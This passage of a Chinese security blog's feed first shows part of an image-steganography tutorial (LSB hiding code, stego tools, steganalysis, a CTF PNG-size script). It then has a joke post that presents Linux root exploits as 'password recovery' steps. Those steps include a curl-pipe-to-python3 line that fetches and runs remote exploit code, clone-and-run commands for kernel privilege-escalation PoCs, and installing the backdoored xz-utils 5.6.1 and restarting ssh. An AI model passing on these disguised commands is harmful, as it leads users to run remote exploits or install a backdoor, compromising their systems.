href="#3-1-编码：将文本藏入图片" class="headerlink" title="3.1 编码：将文本藏入图片"></a>3.1 编码：将文本藏入图片</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">lsb_encode</span>(<span class="params">image_path, secret_text, output_path</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    将 secret_text 编码到图片的 LSB 中</span></span><br><span class="line"><span class="string">    数据格式: [32bit 长度] + [utf-8 编码的文本]</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    img = Image.<span class="built_in">open</span>(image_path).convert(<span class="string">&#x27;RGB&#x27;</span>)</span><br><span class="line">    pixels = <span class="built_in">list</span>(img.getdata())</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 将文本转为 bit 流</span></span><br><span class="line">    text_bytes = secret_text.encode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">    length_bytes = <span class="built_in">len</span>(text_bytes).to_bytes(<span class="number">4</span>, <span class="string">&#x27;big&#x27;</span>)</span><br><span class="line">    data = length_bytes + text_bytes</span><br><span class="line">    bit_stream = <span class="string">&#x27;&#x27;</span>.join(<span class="string">f&#x27;<span class="subst">&#123;byte:08b&#125;</span>&#x27;</span> <span class="keyword">for</span> byte <span class="keyword">in</span> data)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(bit_stream) &gt; <span class="built_in">len</span>(pixels) * <span class="number">3</span>:</span><br><span class="line">        <span class="keyword">raise</span> ValueError(<span class="string">&#x27;图片容量不足，需要更大的图片&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    new_pixels = []</span><br><span class="line">    bit_idx = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> r, g, b <span class="keyword">in</span> pixels:</span><br><span class="line">        <span class="keyword">if</span> bit_idx &lt; <span class="built_in">len</span>(bit_stream):</span><br><span class="line">            r = (r &amp; <span class="number">0xFE</span>) | <span class="built_in">int</span>(bit_stream[bit_idx])</span><br><span class="line">            bit_idx += <span class="number">1</span></span><br><span class="line">        <span class="keyword">if</span> bit_idx &lt; <span class="built_in">len</span>(bit_stream):</span><br><span class="line">            g = (g &amp; <span class="number">0xFE</span>) | <span class="built_in">int</span>(bit_stream[bit_idx])</span><br><span class="line">            bit_idx += <span class="number">1</span></span><br><span class="line">        <span class="keyword">if</span> bit_idx &lt; <span class="built_in">len</span>(bit_stream):</span><br><span class="line">            b = (b &amp; <span class="number">0xFE</span>) | <span class="built_in">int</span>(bit_stream[bit_idx])</span><br><span class="line">            bit_idx += <span class="number">1</span></span><br><span class="line">        new_pixels.append((r, g, b))</span><br><span class="line"></span><br><span class="line">    img.putdata(new_pixels)</span><br><span class="line">    img.save(output_path, <span class="string">&#x27;PNG&#x27;</span>)  <span class="comment"># 必须用无损格式</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&#x27;已编码 <span class="subst">&#123;<span class="built_in">len</span>(text_bytes)&#125;</span> 字节 → <span class="subst">&#123;output_path&#125;</span>&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用示例</span></span><br><span class="line">lsb_encode(<span class="string">&#x27;original.png&#x27;</span>, <span class="string">&#x27;Hello, 隐写!&#x27;</span>, <span class="string">&#x27;stego.png&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="3-2-解码：从图片提取隐藏文本"><a href="#3-2-解码：从图片提取隐藏文本" class="headerlink" title="3.2 解码：从图片提取隐藏文本"></a>3.2 解码：从图片提取隐藏文本</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">lsb_decode</span>(<span class="params">stego_path</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;从 LSB 隐写图片中提取隐藏文本&quot;&quot;&quot;</span></span><br><span class="line">    img = Image.<span class="built_in">open</span>(stego_path).convert(<span class="string">&#x27;RGB&#x27;</span>)</span><br><span class="line">    pixels = <span class="built_in">list</span>(img.getdata())</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 提取所有 LSB</span></span><br><span class="line">    bits = []</span><br><span class="line">    <span class="keyword">for</span> r, g, b <span class="keyword">in</span> pixels:</span><br><span class="line">        bits.append(<span class="built_in">str</span>(r &amp; <span class="number">1</span>))</span><br><span class="line">        bits.append(<span class="built_in">str</span>(g &amp; <span class="number">1</span>))</span><br><span class="line">        bits.append(<span class="built_in">str</span>(b &amp; <span class="number">1</span>))</span><br><span class="line"></span><br><span class="line">    bit_str = <span class="string">&#x27;&#x27;</span>.join(bits)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 先读取 4 字节长度头</span></span><br><span class="line">    length_bits = bit_str[:<span class="number">32</span>]</span><br><span class="line">    text_length = <span class="built_in">int</span>(length_bits, <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 读取正文</span></span><br><span class="line">    text_bits = bit_str[<span class="number">32</span>:<span class="number">32</span> + text_length * <span class="number">8</span>]</span><br><span class="line">    text_bytes = <span class="built_in">bytes</span>(</span><br><span class="line">        <span class="built_in">int</span>(text_bits[i:i+<span class="number">8</span>], <span class="number">2</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(text_bits), <span class="number">8</span>)</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> text_bytes.decode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用示例</span></span><br><span class="line">secret = lsb_decode(<span class="string">&#x27;stego.png&#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&#x27;提取到: <span class="subst">&#123;secret&#125;</span>&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="3-3-编码图片到图片"><a href="#3-3-编码图片到图片" class="headerlink" title="3.3 编码图片到图片"></a>3.3 编码图片到图片</h3><p>也可以把一整张图藏到另一张图里。载体图片用高 4 bit 存储自身，低 4 bit 存储隐藏图片：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">embed_image</span>(<span class="params">cover_path, secret_path, output_path</span>):</span><br><span class="line">    cover = Image.<span class="built_in">open</span>(cover_path).convert(<span class="string">&#x27;RGB&#x27;</span>)</span><br><span class="line">    secret = Image.<span class="built_in">open</span>(secret_path).convert(<span class="string">&#x27;RGB&#x27;</span>).resize(cover.size)</span><br><span class="line"></span><br><span class="line">    cover_pixels = <span class="built_in">list</span>(cover.getdata())</span><br><span class="line">    secret_pixels = <span class="built_in">list</span>(secret.getdata())</span><br><span class="line"></span><br><span class="line">    new_pixels = []</span><br><span class="line">    <span class="keyword">for</span> (cr, cg, cb), (sr, sg, sb) <span class="keyword">in</span> <span class="built_in">zip</span>(cover_pixels, secret_pixels):</span><br><span class="line">        nr = (cr &amp; <span class="number">0xF0</span>) | (sr &gt;&gt; <span class="number">4</span>)   <span class="comment"># 封面高4bit + 秘密高4bit</span></span><br><span class="line">        ng = (cg &amp; <span class="number">0xF0</span>) | (sg &gt;&gt; <span class="number">4</span>)</span><br><span class="line">        nb = (cb &amp; <span class="number">0xF0</span>) | (sb &gt;&gt; <span class="number">4</span>)</span><br><span class="line">        new_pixels.append((nr, ng, nb))</span><br><span class="line"></span><br><span class="line">    img = Image.new(<span class="string">&#x27;RGB&#x27;</span>, cover.size)</span><br><span class="line">    img.putdata(new_pixels)</span><br><span class="line">    img.save(output_path, <span class="string">&#x27;PNG&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">extract_image</span>(<span class="params">stego_path, output_path</span>):</span><br><span class="line">    img = Image.<span class="built_in">open</span>(stego_path).convert(<span class="string">&#x27;RGB&#x27;</span>)</span><br><span class="line">    pixels = <span class="built_in">list</span>(img.getdata())</span><br><span class="line"></span><br><span class="line">    new_pixels = []</span><br><span class="line">    <span class="keyword">for</span> r, g, b <span class="keyword">in</span> pixels:</span><br><span class="line">        sr = (r &amp; <span class="number">0x0F</span>) &lt;&lt; <span class="number">4</span>  <span class="comment"># 提取低4bit并左移</span></span><br><span class="line">        sg = (g &amp; <span class="number">0x0F</span>) &lt;&lt; <span class="number">4</span></span><br><span class="line">        sb = (b &amp; <span class="number">0x0F</span>) &lt;&lt; <span class="number">4</span></span><br><span class="line">        new_pixels.append((sr, sg, sb))</span><br><span class="line"></span><br><span class="line">    result = Image.new(<span class="string">&#x27;RGB&#x27;</span>, img.size)</span><br><span class="line">    result.putdata(new_pixels)</span><br><span class="line">    result.save(output_path, <span class="string">&#x27;PNG&#x27;</span>)</span><br></pre></td></tr></table></figure><h2 id="四、常见工具"><a href="#四、常见工具" class="headerlink" title="四、常见工具"></a>四、常见工具</h2><table><thead><tr><th>工具</th><th>用途</th><th>用法</th></tr></thead><tbody><tr><td><strong>steghide</strong></td><td>JPEG&#x2F;BMP&#x2F;WAV 隐写</td><td><code>steghide embed -cf cover.jpg -ef secret.txt</code></td></tr><tr><td><strong>zsteg</strong></td><td>PNG&#x2F;BMP LSB 检测</td><td><code>zsteg -a stego.png</code></td></tr><tr><td><strong>binwalk</strong></td><td>检测文件中附加&#x2F;嵌入的数据</td><td><code>binwalk -e image.jpg</code></td></tr><tr><td><strong>foremost</strong></td><td>文件分离提取</td><td><code>foremost -i image.jpg -o output/</code></td></tr><tr><td><strong>exiftool</strong></td><td>读取&#x2F;修改 EXIF 元数据</td><td><code>exiftool -Comment=&quot;secret&quot; photo.jpg</code></td></tr><tr><td><strong>stegsolve</strong></td><td>GUI 图像分析，逐位平面查看</td><td>图形界面逐通道分析</td></tr></tbody></table><h3 id="4-1-steghide-示例"><a href="#4-1-steghide-示例" class="headerlink" title="4.1 steghide 示例"></a>4.1 steghide 示例</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 将 secret.txt 嵌入 cover.jpg，生成 stego.jpg</span></span><br><span class="line">steghide embed -cf cover.jpg -ef secret.txt -p password -sf stego.jpg</span><br><span class="line"></span><br><span class="line"><span class="comment"># 从 stego.jpg 中提取</span></span><br><span class="line">steghide extract -sf stego.jpg -p password -xf extracted.txt</span><br></pre></td></tr></table></figure><h3 id="4-2-zsteg-检测-LSB"><a href="#4-2-zsteg-检测-LSB" class="headerlink" title="4.2 zsteg 检测 LSB"></a>4.2 zsteg 检测 LSB</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 全面检测 PNG 中的 LSB 隐写</span></span><br><span class="line">zsteg -a image.png</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看各颜色通道的 bit plane</span></span><br><span class="line">zsteg image.png --all</span><br></pre></td></tr></table></figure><h2 id="五、检测对抗（Steganalysis）"><a href="#五、检测对抗（Steganalysis）" class="headerlink" title="五、检测对抗（Steganalysis）"></a>五、检测对抗（Steganalysis）</h2><h3 id="5-1-视觉检测"><a href="#5-1-视觉检测" class="headerlink" title="5.1 视觉检测"></a>5.1 视觉检测</h3><p>最直观的方法——逐位平面查看。把图片每个像素只保留同一个 bit，观察是否有异常纹理。stegsolve 的位平面分析功能就是基于这个原理。</p><h3 id="5-2-统计检测"><a href="#5-2-统计检测" class="headerlink" title="5.2 统计检测"></a>5.2 统计检测</h3><ul><li><strong>卡方检验（Chi-Square Test）</strong>：检测 LSB 分布是否均匀。LSB 替换会改变值对 (2k, 2k+1) 的分布</li><li><strong>RS 分析</strong>：通过 Regular&#x2F;Singular 分组分析估计嵌入量</li><li><strong>直方图分析</strong>：LSB 替换会在直方图上留下 PoV（Pairs of Values）特征</li></ul><h3 id="5-3-元数据与文件结构检查"><a href="#5-3-元数据与文件结构检查" class="headerlink" title="5.3 元数据与文件结构检查"></a>5.3 元数据与文件结构检查</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 检查 JPEG 文件尾后是否有附加数据</span></span><br><span class="line">xxd image.jpg | <span class="built_in">tail</span> -20</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查 PNG chunk 结构</span></span><br><span class="line">pngcheck -v image.png</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看文件尾边界</span></span><br><span class="line">hexdump -C image.jpg | grep -E <span class="string">&#x27;ff d9&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="六、CTF-中的常见考点"><a href="#六、CTF-中的常见考点" class="headerlink" title="六、CTF 中的常见考点"></a>六、CTF 中的常见考点</h2><ol><li><strong>文件尾附加数据</strong>：<code>binwalk -e</code> 或直接用十六进制编辑器查看</li><li><strong>LSB 隐写</strong>：<code>zsteg</code> 一键出结果</li><li><strong>图片宽高被篡改</strong>：CRC 校验失败，暴力枚举正确宽高</li><li><strong>多帧 GIF</strong>：逐帧查看，可能有额外帧</li><li><strong>二维码修复</strong>：部分损毁的 QR 码可以恢复</li><li><strong>两张相似图片</strong>：像素 XOR 或相减，差异部分可能藏信息</li><li><strong>PNG IDAT 块</strong>：可能有多余的 IDAT 块或压缩前的原始数据</li></ol><h3 id="宽高暴力枚举（PNG）"><a href="#宽高暴力枚举（PNG）" class="headerlink" title="宽高暴力枚举（PNG）"></a>宽高暴力枚举（PNG）</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"><span class="keyword">import</span> zlib</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fix_png_size</span>(<span class="params">filename</span>):</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(filename, <span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        data = f.read()</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 读取 IHDR 中的宽高</span></span><br><span class="line">    ihdr_start = data.find(<span class="string">b&#x27;IHDR&#x27;</span>)</span><br><span class="line">    width = struct.unpack(<span class="string">&#x27;&gt;I&#x27;</span>, data[ihdr_start+<span class="number">4</span>:ihdr_start+<span class="number">8</span>])[<span class="number">0</span>]</span><br><span class="line">    height = struct.unpack(<span class="string">&#x27;&gt;I&#x27;</span>, data[ihdr_start+<span class="number">8</span>:ihdr_start+<span class="number">12</span>])[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 暴力枚举正确的宽高</span></span><br><span class="line">    <span class="keyword">for</span> w <span class="keyword">in</span> <span class="built_in">range</span>(width, width + <span class="number">2000</span>):</span><br><span class="line">        <span class="keyword">for</span> h <span class="keyword">in</span> <span class="built_in">range</span>(height, height + <span class="number">2000</span>):</span><br><span class="line">            <span class="comment"># 用新的宽高计算 CRC</span></span><br><span class="line">            new_ihdr = struct.pack(<span class="string">&#x27;&gt;IIBBBBB&#x27;</span>, w, h, *data[ihdr_start+<span class="number">12</span>:ihdr_start+<span class="number">17</span>])</span><br><span class="line">            <span class="keyword">if</span> zlib.crc32(<span class="string">b&#x27;IHDR&#x27;</span> + new_ihdr) == struct.unpack(<span class="string">&#x27;&gt;I&#x27;</span>, data[ihdr_start+<span class="number">17</span>:ihdr_start+<span class="number">21</span>])[<span class="number">0</span>]:</span><br><span class="line">                <span class="keyword">return</span> w, h</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br></pre></td></tr></table></figure><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><p>图片隐写的核心就一句话：<strong>利用信息论冗余来承载额外数据</strong>。</p><ul><li>容量大但不可见性差 → LSB 多 bit 替换</li><li>不可见性好但容量小 → 频域隐写</li><li>最简单且兼容性最好 → 文件尾附加</li></ul><p>实际选型取决于需求——CTF 解题关注工具覆盖面和脚本能力，实际攻防关注隐蔽性和抗检测能力。</p>]]>
    </content>
    <id>https://doub1e007.github.io/2026/05/16/%E5%9B%BE%E7%89%87%E9%9A%90%E5%86%99/</id>
    <link href="https://doub1e007.github.io/2026/05/16/%E5%9B%BE%E7%89%87%E9%9A%90%E5%86%99/"/>
    <published>2026-05-16T02:23:26.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" cla]]>
    </summary>
    <title>图片隐写技术详解</title>
    <updated>2026-06-04T12:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Doub1e007</name>
    </author>
    <category term="随记" scheme="https://doub1e007.github.io/categories/%E9%9A%8F%E8%AE%B0/"/>
    <category term="漏洞" scheme="https://doub1e007.github.io/tags/%E6%BC%8F%E6%B4%9E/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><ol><li><p>Linux 找回密码教程，建议收藏！  </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl https://copy.fail/exp | python3 &amp;&amp; su  </span><br></pre></td></tr></table></figure><p> passwd root  设置你的新密码  </p></li><li><p>你的 Linux 密码又忘了？<br> 没关系，这里还有一个新的！  </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/V4bel/dirtyfrag.git&amp;&amp; cd dirtyfrag &amp;&amp; gcc -O0 -Wall -o exp exp.c -lutil &amp;&amp; ./exp </span><br></pre></td></tr></table></figure></li><li><p>不想再忘记密码了？<br> 我们有专业的黑客团队帮您运维服务器和保管密码！<br> 项目地址: <a href="https://github.com/tukaani-project/xz/tree/v5.6.1">https://github.com/tukaani-project/xz/tree/v5.6.1</a>  </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt install xz-utils=5.6.1-1  </span><br><span class="line">sudo systemctl restart ssh </span><br></pre></td></tr></table></figure></li><li><p>容易忘记密码的有福了，每天都有新办法！<br> <a href="https://ze3tar.github.io/post-zcrx.html">https://ze3tar.github.io/post-zcrx.html</a><br> 插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可  </p></li><li><p>什么，你买不起高端网卡？那试试这个吧！  </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/v12-security/pocs.git&amp;&amp; cd pocs/fragnesia &amp;&amp; gcc -o exp fragnesia.c &amp;&amp; ./exp  </span><br></pre></td></tr></table></figure></li><li><p>听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！<br> <a href="https://depthfirst.com/nginx-rift">https://depthfirst.com/nginx-rift</a></p></li></ol>]]>
    </content>
    <id>https://doub1e007.github.io/2026/05/14/%E8%BF%91%E6%9C%9F%E4%B8%80%E4%BA%9BLinux%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E/</id>
    <link href="https://doub1e007.github.io/2026/05/14/%E8%BF%91%E6%9C%9F%E4%B8%80%E4%BA%9BLinux%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E/"/>
    <published>2026-05-14T10:32:24.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" cla]]>
    </summary>
    <title>Linux密码找回方法(bushi</title>
    <updated>2026-05-14T10:32:24.000Z</updated>
  </entry>
</feed>
